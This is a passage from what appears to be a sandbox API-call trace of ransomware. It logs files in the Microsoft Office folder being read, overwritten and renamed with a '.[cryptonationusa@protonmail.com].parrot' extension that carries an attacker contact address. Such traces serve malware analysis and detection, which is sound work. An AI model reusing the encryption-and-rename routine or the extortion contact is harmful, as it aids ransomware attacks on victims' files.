office\\office14\\mscss7cm_es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.925] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.925] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.926] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.926] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xa00, lpOverlapped=0x0) returned 1 [0196.927] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.935] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.935] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.936] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.937] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19400, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x19400, lpOverlapped=0x0) returned 1 [0196.942] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_en.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.953] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.953] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.955] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.955] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xc00, lpOverlapped=0x0) returned 1 [0196.956] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.964] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.964] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.966] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.966] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xc00, lpOverlapped=0x0) returned 1 [0196.966] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.973] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.973] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.007] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.008] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.041] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.042] WriteFile (in: hFile=0x1b0, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0197.046] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.046] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.049] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c5118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0197.049] CloseHandle (hObject=0x1b0) returned 1 [0197.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.074] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.074] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.075] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.076] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.106] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.106] WriteFile (in: hFile=0x1b0, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0197.110] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.110] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.113] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c5c56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0197.113] CloseHandle (hObject=0x1b0) returned 1 [0197.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.123] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.123] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.126] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.126] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.158] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.159] WriteFile (in: hFile=0x1b0, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0197.163] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.163] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.165] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13eb0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0197.165] CloseHandle (hObject=0x1b0) returned 1 [0197.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.211] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.211] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.213] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.260] WriteFile (in: hFile=0x27c, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0197.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.264] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.267] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c4d34, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0197.267] CloseHandle (hObject=0x27c) returned 1 [0197.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.278] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.279] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.312] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.312] WriteFile (in: hFile=0x27c, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0197.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.317] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.320] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3568be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0197.320] CloseHandle (hObject=0x27c) returned 1 [0197.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.330] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.330] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.332] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.364] WriteFile (in: hFile=0x27c, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0197.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.413] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0197.416] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1da6b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0197.416] CloseHandle (hObject=0x27c) returned 1 [0197.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.426] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.428] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.428] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe36, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xe36, lpOverlapped=0x0) returned 1 [0197.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.436] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.437] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.437] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3392, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3392, lpOverlapped=0x0) returned 1 [0197.439] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.449] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.452] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.452] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65d78, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x65d78, lpOverlapped=0x0) returned 1 [0197.467] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.497] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.497] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.499] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62588, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x62588, lpOverlapped=0x0) returned 1 [0197.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0197.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0197.543] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0197.544] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.545] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd65a0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 